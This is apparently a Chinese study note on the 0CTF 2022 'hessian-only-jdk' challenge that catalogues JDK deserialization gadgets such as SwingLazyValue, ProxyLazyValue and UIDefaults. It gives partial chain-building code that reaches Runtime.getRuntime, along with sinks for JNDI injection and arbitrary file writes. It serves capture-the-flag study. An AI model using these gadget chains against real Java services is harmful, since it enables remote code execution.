前言
学习!0ctf2022 hessian-only-jdk相关危险操作点。
SwingLazyValue
好像都要用到这个类,看看这是个什么东西。
一眼就能看到这个神奇函数:
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}
输入参数竟然毫无用处,createValue函数给出了两个选择:
由于invoke主体为Class,所以只能用于调用一次参数可控的静态函数
或者调用一次参数可控的构造函数
值得注意的一点是在通过Class.forName加载类时:
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
没有传入classloader,那么使用的应该是BootstrapClassLoader,而它只能加载rt.jar里面的类。
ProxyLazyValue
SwingLazyValue继承自LazyValue接口,看看这个接口下的其他类,会发现ProxyLazyValue,其createValue函数也有类似的操作:
Class<?> c;
Object cl;
// See if we should use a separate ClassLoader
if (table == null || !((cl = table.get("ClassLoader"))
instanceof ClassLoader)) {
cl = Thread.currentThread().
getContextClassLoader();
if (cl == null) {
// Fallback to the system class loader.
cl = ClassLoader.getSystemClassLoader();
}
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
} else {
Class[] types = getClassArray(args);
Constructor constructor = c.getConstructor(types);
SwingUtilities2.checkAccess(constructor.getModifiers());
return constructor.newInstance(args);
}
可以看到,这里的同样可以调用静态函数和构造函数,不同的是这里加载类时的classloader不是null。
LazyValue调用链
UIDefaults类的getFromHashtable函数可以,UIDefaults虽然是Map类,但是其存在public的无参构造函数,并且本身是个public类,所以不会被hessian吃掉。
再往上是get函数,所以找一个Map.get就行了,比如HashTable的equals函数就可以。
简单构造一个HashMap包含两个UIDefaults就行:
Object proxyLazyValue = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue, "className", "java.lang.Runtime");
Utils.setField(proxyLazyValue, "methodName", "getRuntime");
Utils.setField(proxyLazyValue, "args", new Object[]{});
UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
unserialize(serialize(bigMap));
根据参考文章,也可以走java.awt.datatransfer.MimeTypeParameterList进来:
StringBuilder buffer = new StringBuilder(parameters.size() * 16);
Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements())
{
buffer.append("; ");
String key = keys.nextElement();
buffer.append(key);
buffer.append('=');
buffer.append(quote(parameters.get(key)));
}
return buffer.toString();
最后用XString连上这里的toString就好了。
sun.tools.jar.Main
获得静态函数调用最后就是就要找地方完成利用了,sun.tools.jar.Main.main:
public static void main(String[] var0) {
Main var1 = new Main(System.out, System.err, "jar");
System.exit(var1.run(var0) ? 0 : 1);
}
Main.run似乎可以写入jar文件:
Packer var11 = Pack200.newPacker();
SortedMap var12 = var11.properties();
var12.put("pack.effort", "1");
var8 = new JarFile(var5.getCanonicalPath());
var9 = this.createTemporaryFile(var7, ".pack");
var4 = new FileOutputStream(var9);
var11.pack(var8, var4);
var10 = new JarOutputStream(var6);
Unpacker var13 = Pack200.newUnpacker();
var13.unpack(var9, var10);
但是内容不可控。
其他代码块里,有文件写入、文件解压的功能:
var47 = this.fname == null ? new FileInputStream(FileDescriptor.in) : new FileInputStream(this.fname);
try {
this.extract((InputStream)(new BufferedInputStream(var47)), this.files);
} finally {
var47.close();
}
但是源是另一个文件,所以这个函数使用条件比较苛刻。
com.sun.org.apache.xalan.internal.xslt._main
看起来可以跟TemplatesImpl联动:
Source source = stf.getAssociatedStylesheet(new StreamSource(inFileName), media, null, null);
if (null != source)
stylesheet = tfactory.newTemplates(source);
但是输入也是文件。
System.setProperty
可以修改属性:
public static String setProperty(String key, String value) {
checkKey(key);
SecurityManager sm = getSecurityManager();
if (sm != null) {
sm.checkPermission(new PropertyPermission(key,
SecurityConstants.PROPERTY_WRITE_ACTION));
}
return (String) props.setProperty(key, value);
}
比如高版本限制JNDI注入的就是com.sun.jndi.rmi.object.trustURLCodebase、java.rmi.server.useCodebaseOnly等系统属性,修改这些属性可以加载远程对象。
System.setProperty + InitialContext.doLookup
可以触发JNDI注入加载远程对象。
com.sun.org.apache.xml.internal.security.utils.JavaUtils
writeBytesToFilename静态函数:
public static void writeBytesToFilename(String filename, byte[] bytes) {
if (filename != null && bytes != null) {
try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
outputStream.write(bytes);
} catch (IOException ex) {
LOG.debug(ex.getMessage(), ex);
}
} else {
LOG.debug("writeBytesToFilename got null byte[] pointed");
}
}